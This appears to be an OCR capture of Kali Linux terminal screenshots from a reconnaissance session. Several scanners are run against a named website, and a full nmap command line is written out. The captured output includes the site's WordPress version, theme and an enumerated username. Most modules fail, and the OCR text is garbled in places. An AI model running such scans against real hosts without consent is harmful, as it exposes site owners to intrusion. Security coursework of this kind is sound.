db db .d88s8. .d8sss. .dssss. dsb db d888s888b d888sb. d888s8b d8s88b.
‘8b ds8' 88' YP 88' YP 88' YP 8880 88 ‘88" 88 '8D 88' 88 8D
"8bd8' 8bo. “8bo. “8bo. 88V8o 88 88 8800dD' 8800000 8800bY'
.dPYb. "Y8b. "v8b. "Y8b. 88 V8088 88 88~~~ 88~~~~~ 88" 8b
.8P Y8. db 8D db 8D db 8D 88 V888 .88. 88 88. 88 "88.
YP YP "8888Y' '8888Y' 8888Y' VP V8P Y888888P 88 Y88888P 88 YD

----[ version 0.9 Gianluca Brindisi <g@brindi.si> ]-

http://brindi.si/g/ 1-

| scanning targets without prior mutual consent is illegal. It is the end |
| user's responsibility to obey all applicable local, state and federal laws. |
1

| Authors assume no liability and are not responsible for any misuse or
| damage caused by this program.

[+] TARGET: https://tevelcyber.com
|- METHOD: GET

[+] Crawling links...
E Found 13 unique targets.

[+] Crawling for forms...

|- Remaining targets: 1 |- Found 2 unique forms.

start scanning (1 threads)
Remaining urls: 4 |- Scan completed in 91.156867981 seconds.

[+] Processing results...
|- Done.

[+] RESULT: No XSS Found :(
root@kali: # 1

ENG 1626
~ s UKX  18/12/2018
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root@Kali: ~/Yuki-Chan-The-Auto-Pentest

File Edit View ch Terminal Help

3116 |

The YuKi-Chan

Automated Intel-Gathering - Vulnerability Analysis - OSINT
Tracking - System Enumeration - And Off Course Pentesting Too

I Version : 1.0 | Codename : Waifu Sudah Lacur I
I Coded by : Yukinoshita 47 | Garuda Security Hacker I
Tested on : Kali Linux
I More Info : http://www.garudasecurityhacker.org H

Recode The Copyright Is Not Make You A Coder Dude :p

Enter domain of your Target Below example site.com :
https://tevelcyber.com

WARNING
I highly recommend using this tool by using Kali Linux 05

By using this tool it means you agree with terms,
conditions, and risks

By using this tool you agree that

1. use for legitimate security testing

2. not for crime

3. the use of this tool solely for
educational reasons only

By using this tool you agree that

1. You are willing to be charged with criminal or state
law applicable by law enforcement officers
and government when abused

2. the risk is borne by yourself

Thank you and happy pentest

16:44
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~/Yuki-Chan-The-Auto-Pentest

File Edit arch_Terminal Help

o A *
. TN o
1 71 &
* 11
* TheHarvester Ver. 2.7 >
* Coded by Christian Martorella *
* Edge-Security Research *
+ cmartorella@edge-security.com *

[-1 searching in Google:
Searching © results.
Searching 100 results.
Searching 200 results.
Searching 300 results.
Searching 400 results.
Searching 500 results.

[+] Emails fount

No emails found

[+] Hosts found in search engines:

No hosts found
the harvester finished

starting metagoofil for gathering document maybe important

AN [0
7 NT_N
SN
\/ AVANEEN AN

Christian Martorella
Edge-Security.com

cmartorella_at_edge-security.com

Metagoofil Ver 2.2 b

[-] starting online search...

[-1 searching for doc files, with a limit of 200
Searching 100 results...
Searchina 000 recilic
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Metagoofil Ver 2.2
Christian Martorella
Edge-Security.com

cmartorella_at_edge-security.com

[-] starting online search...

[-1 searching for doc files, with a limit of 200
Searching 100 results.
Searching 200 results.

Results: 5 files found

starting to download 50 of them

[1/50] /webhp?hl=en-GB

[x] Error downloading /webhp?hl=en-GB
[2/50] /intl/en/ads

[x] Error downloading /intl/en/ads
[3/50] /services

[x] Error downloading /services
[4/50] /intl/en/policies/privacy/
[5/50] /intl/en/policies/terns/

[-1 Searching for pdf files, with a limit of 200
Searching 100 results.
Searching 200 results.

Results: 7 files found

Starting to download 50 of them

[1/50] /webhp?hl=en-GB
[x] Error downloading /webhp?hl=en-GB
[2/50] /support/websearch/bin/answer.py?answer=134479
[x] Error downloading /support/websearch/bin/answer.py?answer=134479
[3/50] /tools/feedback/survey/html?productId=196
[x] Error downloading /tools/feedback/survey/html?productId=196
[4/50] /intl/en/ads
[x] Error downloading /intl/en/ads
[5/50] /services
[x] Error downloading /services
[6/50] /intl/en/policies/privacy/
[7/50] /intl/en/policies/terns/
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metagoofil finished

starting dnsrecon for gathering DNS record

[*] Performing General Enumeration of Domain: https://tevelcyber.com
[*] Checking for Zone Transfer for https://tevelcyber.com name servers
[*] Resolving SOA Record

[+ SOA a.gtld-servers.net 192.5.6.30

[*] Resolving NS Records

[-] Could not Resolve NS Records

[*] Removing any duplicate NS server IP Addresses...

[+

[*] Trying NS server 192.5.6.30

[+] 192.5.6.30 Has port 53 TCP Open

[-] Zone Transfer Failed

[-] No answer or RRset not for gname

[*] Checking for Zone Transfer for https://tevelcyber.com name servers
[*] Resolving SOA Record

[+ SOA a.gtld-servers.net 192.5.6.30

[*] Resolving NS Records

[-] Could not Resolve NS Records

[*] Removing any duplicate NS server IP Addresses...

[*]

[*] Trying NS server 192.5.6.30

[+] 192.5.6.30 Has port 53 TCP Open

[-] Zone Transfer Failed

[-] No answer or RRset not for gname

[-] Could not resolve domain: https://tevelcyber.com

dnsrecon finished

; <<>> DiG 9.11.4-P2-3-Debian <<>> -x https://tevelcyber. com
;i global options: +cmd

;i Got answer:

;i ->>HEADER<<- opcode: QUERY, statu: NXDOMAIN, id: 9173

;; flags: qr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: 1, ADDITIONAL: 1

i; OPT PSEUDOSECTION:
EDNS: version: 0. flags:: udp: 4000
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File Edit arch Terminal Help

# Coded By Ahmed Aboul-Ela - @aboul3la

Error: Please enter a valid domain

Got It :v wkwkwkwkwk

Web Application Firewall Scanning Starting

scanning WAF with wafweef

VLTSS T T o7 (77
|'VV /70 /) TNV /07707 7
IR/ (o N\ o7 N\ o)

<

WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking http://https://tevelcyber.com
Traceback (most recent call last)
File "/usr/bin/wafweef", line 8, in <module>
main.main()
File "/usr/lib/python3/dist-packages/wafwoof/main.py”, line 363, in main
proxy=options.proxy)
File "/usr/lib/python3/dist-packages/wafwoef/main.py”, line 93, in _init
waftoolsengine. _init (self, target, port, ssl, debuglevel, path, followredirect, extraheaders, proxy
File "/usr/lib/python3/dist-packages/wafwoof/lib/evillib.py", line 267, in _init _
self.port = int(port)
ValueError: invalid literal for int() with base 10: '
scanning finished next...

try bypass WAF with wafninja
./yuki.sh: line 139: ./wafninja: Permission denied

[ Vieb Aoplication Firewall Scanning Finished ]
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Web Application Firewall Scanning Finished

XSS Scanning Starting

XssPy - Finding Xss made easier
Author: Faizan Ahmad (Fsecurify)

fsecurify@gmail.com

XssPy.py website.com (Not www.website.com OR http://ww.website.com
Comprehensive Scan: python XssPy.py -u website.com -e

Verbose logging: python XssPy.py -u website.com -v

Cookies: python XssPy.py -u website.complex -c name=val name=val

Description: XssPy is a python tool for finding Cross Site Scripting
vulnerabilities in websites. This tool is the first of its kind.
Instead of just checking one page as most of the tools do, this tool
traverses the website and find all the links and subdomains first.

After that, it starts scanning each and every input on each and every
page that it found while its traversal. It uses small yet effective
payloads to search for Xss vulnerabilities. XSS in many high

profile websites and educational institutes has been found

by using this very tool.

[16:46:59] Doing a short traversal
[16:46:59] Number of links to test are: ©
[16:46:59] Started finding XSS

[16:46:59] No link found, exiting

XSS Scanning Finished

Web / CMS Vulnerability Scanning Starting

checking web with whatweb (if not run maybe not installed in your 0S
_/yuki.sh: line 159: ./Module/WhatwWeb/whatweb: Permission denied

checking web with spaghetti
Traceback (most recent call last)
File "Module/Spaghetti/spaghetti.py”, line 12, in <module>
from modules.discovery import ALL
File "/root/Yuki-Chan-The-Auto-Pentest/Module/Spaghetti/modules/discovery/All.py”, line 16, in <module>
import Captcha
File "/root/Yuki-Chan-The-Auto-Pentest/Module/Spaghetti/modules/discovery/Captcha.py”, line 13, in <module>

16:45
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Scan Wordpress Starting

start scanning wpscan.rb (if not run maybe not installed in your 05

A\ 77 —
AN
AN\ N/
AN
WA [

WordPress Security Scanner by the WPScan Team
Version 3.3.1
Sponsored by Sucuri - https://sucuri.net
@ WpScan_, @ethicalhack3r, @erwan_lr, @ FireFart_

i] updating the Database ...
i] update completed.

Scan Aborted: The url supplied 'http://https//tevelcyber.con/' seems to be down (Couldn't resolve host name
If Your 0S Doesn't Have WPScan

Dont Worry Dude I Have Alternative Scanner For You
Next Time Use Kali Linux if you want this tool work perfectly

Wpscanner@WordPress Users Scanner

>3>>>5555555555555555555555555555555>
> GITHUB : www.github.com/KyxRecon >
> SITE  : www.kyxhack.blogspot.mx >
> >
>5>53>5555555555555555555555555555555>

[+]: Scanning http://https://tevelcyber.com
[ERROR] : Could not find anything, or something went wrong
./yuki.sh: line 176: droopescan: command not found

A Y

Il
ANAWAN A I I B S ¢
/i

|
\vov / 411 <1
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If Your 05 Doesn't Have WPScan e
Dont Worry Dude I Have Alternative Scanner For You

Next Time Use Kali Linux if you want this tool work perfectly

Wpscanner@WordPress Users Scanner

B B
> GITHUB : www.github.com/KyxRecon >
> SITE  : www.kyxhack.blogspot.mx >
> >
>5>53555555555555555555555555555555>>

[+]: Scanning http://https://tevelcyber.com

[ERROR]: Could not find anything, or something went wrong!

./yuki.sh: line 176: droopescan: command not found

A\ /7 AN/

ARWAWSVA BB IACE T /7
\V v/ |
N )

|| wPseku - Wordpress Security Scanner
|| version ©.2.1

|| Momo Outaadi (Mallek)

|| https://qgithub.com/mallek/wpSeku

[+] Target: http://https://tevelcyber.com
[+] starting: 18/12/2018 16:50:31

[*] Checking sitemap. ..
[*] Checking license
[*] Checking robots. ..
[*] Checking crossdomain. ..

[*] Checking readne. ..

[*] Checking .htaccess. ..

[*] Checking xmlrpc...

[*] Checking Full Path Disclosure...
[*] Checking wp-config. ..

[+] Checking dir listing...
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[*] Checking WAF.
[*] Checking wp-login protection
[*] Checking wordpress version
<urlopen error [Errno -2] Name or service not known>
[-] Not found running WordPress version
[*] Enumeration themes.
[*] Enumeration plugins...
[*] Enumeration usernames
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
<urlopen error [Errno -2] Name or service not known>
| Not found usernames

Scan Wordpress Finished

Scan Joomla Starting

start scanning
./yuki.sh: line 187: ./joomscan
-/yuki.sh: line 188: droopescan

Permission denied
command not found

Scan Joomla Finished

Scan Other CMS Starting

scan drupal cms
./yuki.sh: line 199: droopescan
scan dupal cms finished next.

command not found

Can iliaicriina oo

16:52
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starting sslscan (if not run maybe not installed in your 0S
Version: 1.11.11-static
OpenssL 1.0.2-chacha (1.0.2g-dev)

SSL Vulnerability Scanning Starting “

Connected to 192.185.39.52
Testing SSL server tevelcyber.com on port 443 using SNI name tevelcyber.com

TLS Fallback SCSV:
Server supports TLS Fallback SCSV

TLS renegotiation:
secure session renegotiation supported

TLS Compression
Compression disa

led

Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not erable to heartbleed
TLS 1.0 not vulnerable to heartbleed

Supported Server Cipher(s):

preferred TLSV1.2 bits ECDHE-RSA-AES2 GCM-SHA384 Curve P-256 DHE 256
Accepted TLSV1.2 bits ECDHE-RSA-AES128-GCM-SHA256  Curve P-256 DHE 256
Accepted TLSv1.2 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
Accepted TLSv1.2 bits ECDHE-RSA-AES128-SHA256 Curve P-256 DHE 256
Accepted TLSv1.2 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSv1.2 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
preferred TLSv1.1 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSv1.1 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
preferred TLSv1.® bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSv1.0 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256

SSL Certificate:
signature Algorithm: sha256WithRSAENncryption
RSA Key Strength: 2048

subject: tevelcyber.com
Altnames: DNS:autodiscover.tevelcyber.com, DNS:cpanel.tevelcyber.com, DNS:mail.tevelcyber.com, DNS:tevelcyber.com, DNS:webdisk.tevelcyber.com, DNS:webmail.tevelcyber.com, DNS:www.tevelcyber.com
Issuer: Let's Encrypt Authority X3

Not valid before: Nov 28 11:29:10 2018 GNT
Not valid after: Feb 26 11:29:10 2019 GNT
sslscan finished let's use another way

starting sslyze (if not run maybe not installed in your 0S

s 0 B W O 9 A e s B





image49.png
Applications »  Places ~ erminal ~

root@Kali: ~/Yuki-Chan-The-Auto-Pentest
File Edit View Search Terminal Help

starting sslyze (if not run maybe not installed in your 0S)

AVAILABLE PLUGINS

PluginSessionResumption
PLuginHSTS
PluginHeartbleed
PluginChromeshalDeprecation
PluginOpensSLCiphersuites
PluginCompression
PluginCertInfo
PluginSessionRenegotiation

CHECKING HOST(S) AVAILABILITY

https://tevelcyber. com => WARNING: Not a valid host:port; discarding corresponding tasks.

SCAN COMPLETED IN 0.03 S

sslyze finished let's change side

Update U2SV First
[INF] Update A25V
[INF] This A2SV version is v1.6
HEAD is now at bealaf4 Update README.md
From https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest
= [up to date] master -> origin/master
Already up to date.
[FIN] Updated A2sV
Update Finished Continue Scanning
[SET] target => https://tevelcyber.com
Traceback (most recent call last)
File "Module/a2sv/a2sv.py”, line 352, in <module>
targetIP = socket.gethostbyname(target)
socket.gaierror: [Errno -2] Name or service not known

SSL Vulnerability Scanning Finished
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Fuzz Scanning Starting

starting fuzzing with waf ninja
./yuki.sh: line 243: ./wafninja: Permission denied
fuzzing finished

starting fuzzing.php web dir

Traceback (most recent call last)
File "Module/dirsearch/dirsearch.py”, line 26, in <module>
from lib.controller import *
File "/root/Yuki-Chan-The-Auto-Pentest/Module/dirsearch/lib/controller/ init .py", line 1, in <module>
from .Controller import *
File "/root/Yuki-Chan-The-Auto-Pentest/Module/dirsearch/lib/controller/Controller.py”, line 28, in <module>
from lib.reports import JSONReport, PlainTextReport, SimpleReport
ModuleNotFoundError: No module named 'lib.reports’

fuzzing .php web dir

starting.asp web dir finished
Traceback (most recent call last)
File "Module/dirsearch/dirsearch.py”, line 26, in <module>
from lib.controller import *
File "/root/Yuki-Chan-The-Auto-Pentest/Module/dirsearch/lib/controller/ init .py", line 1, in <module>
from .Controller import *
File "/root/Yuki-Chan-The-Auto-Pentest/Module/dirsearch/lib/controller/Controller.py”, line 28, in <module>
from lib.reports import JSONReport, PlainTextReport, SimpleReport
ModuleNotFoundError: No module named 'lib.reports’
fuzzing .asp web dir finished

Fuzz Scanning Finished

Moving Metagoofil Files

Moving Metagoofil Folder
Moving Metagoofil Folder Finished

Moving Metagoofile data.html
Moving Metagoofil data.html finished
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wWordPress Security Scanner by the WPScan Team
Version 3.3.1
Sponsored by Sucuri - https://sucuri.net
@ WpScan_, @ethicalhack3r, @erwan_lr, @ FireFart_

+] URL: https://tevelcyber. com/
+] Started: Wed Dec 19 15:44:58 2018

Interesting Finding(s):

+] https://tevelcyber.con/
| Interesting Entry: Server: nginx/1.14.1
| Found By: Headers (Passive Detection)

| confidence: 100%

+] https://tevelcyber.con/robots. txt

| Interesting Entries:

| - /wp-admin/

| - /wp-admin/admin-ajax.php

| Found By: Robots Txt (Aggressive Detection)
| confidence: 100%

+] https://tevelcyber.com/xmlrpc.php

| Found By: Link Tag (Passive Detection)

| confidence: 30%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback APT

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner

| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress xmlrpc_login

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback access

+] https://tevelcyber.con/readme.html
| Found By: Direct Access (Aggressive Detection)
| confidence: 100%

+] WordPress version 4.9.9 identified.
| Detected By: Rss Generator (Passive Detection)
| - https://tevelcyber.con/feed/, <generator>https://wordpress.org/?v=4.9.9</generator>
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| Found By: Link Tag (Passive Detection)

| confidence

| References

| - http://codex.wordpress.org/XHL-RPC_Pingback APT

| - https://waw.rapid7.con/db/modules/auxiliary/scanner/http/wordpress ghost scanner

| - http -rapid7.com/db/modules/auxiliary/dos/http/wordpress xmlrpc_dos

| - http .rapid7.com/db/modules/auxiliary/scanner/http/wordpress xmlrpc_login

| - https://waw.rapid7.con/db/modules/auxiliary/scanner/http/wordpress pingback access

+] https://tevelcyber.con/readme.html
| Found By: Direct Access (Aggressive Detection)
| confidence: 100%

Detected By: Rss Generator (Passive Detection)
- http:
- http:

/tevelcyber. con/feed/, <generator>https://wordpress.org/?v=4.9.9</generator>

+] WordPress version 4.9.9 identified
|
|
| /tevelcyber. con/comments/feed/, <generator>https://wordpress.org/?v=4.9.9</generator>

+] WordPress theme in use: enfold

| Location: https://tevelcyber.com/wp-content/themes/enfold/

| style URL: https://tevelcyber.com/wp-content/themes/enfold/style.css
| style Name: Enfold

| style URI: www.kriesi.at/themes/enfold/

| Description: <strong>A superflexible and responsive Business Theme by Kriesi</strong> - <br/> Update notification...
|

|

|

|

|

|

|

|

Author: Kriesi
Author URI: https://kriesi.at

Detected By: Urls In Homepage (Passive Detection)
Version: 4.3.2 (80% confidence)
Detected By: Style (Passive Detection)
- https://tevelcyber.com/wp-content/themes/enfold/style.css, Match: 'Version: 4.3.2

+] Enumerating Users
Brute Forcing Author IDs - Time: 00:00:47

> (10 / 10) 100.00% Time: 00:00:47
i] User(s) Identified:

] ramwptest
Detected By: Wp Json Api (Aggressive Detection)
- https://tevelcyber. com/wp-json/wp/v2/users/
Confirmed By: Oembed API - Author URL (Aggressive Detection)
- https://tevelcyber.com/wp-json/oembed/1.0/embed?url=https://tevelcyber.con/&format=json

—_

+] Finished: Wed Dec 19 15:48:27 2018
+] Requests Done: 48

+] Memory used: 1.52 MB

Elapsed time: 00:03:29
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Target:

192.18539.52

Command: | nmap -55 -sU T4 -A -v -PE -PP -PS80,443 -PA3389 -PUA0125 -PY -g 53 —script "default or (discovery and safe)” 192.185.39.52

Hosts

Services Nmap Output Ports / Hosts Topology Host Details Scans

05 4 Host nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

B nst2hostgatorc  Starting Nnep 7.70 ( https://nnap.org ) at 2019-01-24 22:43 GHT Standard Time

NSE: Loaded 285 scripts for scanning.
NSE: Script Pre-scanning.

Initiating NSE at 22:43

NSE: [shodan-api] Error: Please specify your ShodandPI key with the shodan-api.apikey argument
NSE: [mtrace] A source IP must be provided through fromip argument.

NSE: [mrinfo] Nsock connect failed immediately

Completed NSE at 22:43, 10.33s elapsed

Initiating NSE at 22:43

Completed NSE at 22:43, 0.005 elapsed

Initiating NSE at 22:43

Completed NSE at 22:43, 0.005 elapsed

Pre-scan script results

| broadcast-igmp-discovery:

| 172.29.1.11

| Interface: ethl

| Version: 2

| Group: 224.0.0.251
| Description: mNS (rfc6762)
| 172.29.1.11

| Interface: ethl

| Version: 2

| Group: 224.0.0.252
| Description: Link-local Multicast Name Resolution (rfc4795)
| 172.29.1.20

| Interface: ethl

| Version: 2

| Group: 224.0.0.252
| Description: Link-local Multicast Name Resolution (rfc4795)
| 172.29.1.21

| Interface: ethl

| Version: 2

| Group: 224.0.0.251
| Description: mNS (rfc6762)
| 172.29.1.21

| Interface: ethl

| Version: 2

| Group: 224.0.0.252
|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.20

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.37

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

172.29.1.37

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.38

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfc6762)

172.29.1.40

Interface: ethl

Profile:

Slow comprehensive scan

Scan!

Ganeel





image2.png
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Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -55 -sU T4 -A -v -PE -PP -PS80,443 -PA3389 -PUA0125 -PY -g 53 —script "default or (discovery and safe)” 192.185.39.52

Hosts || Senices |  Nmap Output Ports/ Hosts Topology HostDetails Scans
05 4 Host nmap -55 U -T4 -A -y -PE -PP -PSED,443 -PA3399 -PUADI2S -PY -g 53 —-script"default or (discovery and safe)” 192.165.39.52 o] = [Detils
B nsg202hostgator. PP -
Interface: ethl
Version: 2

Group: 224.0.0.251
Description: mDNS (rfcs762)

172.29.1.43

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

172.29.1.58

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

172.29.1.58

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.55

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.57

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

Interface: ethl
Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.60

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

172.29.1.59

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.73

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfc6762)

172.29.1.77

Interface: ethl

Version: 2

Group: 224.0.0.252

Description: Link-local Multicast Name Resolution (rfc4795)
172.29.1.108

Interface: ethl

Version: 2

Group: 224.0.0.251

Description: mDNS (rfcs762)

172.29.1.108 v
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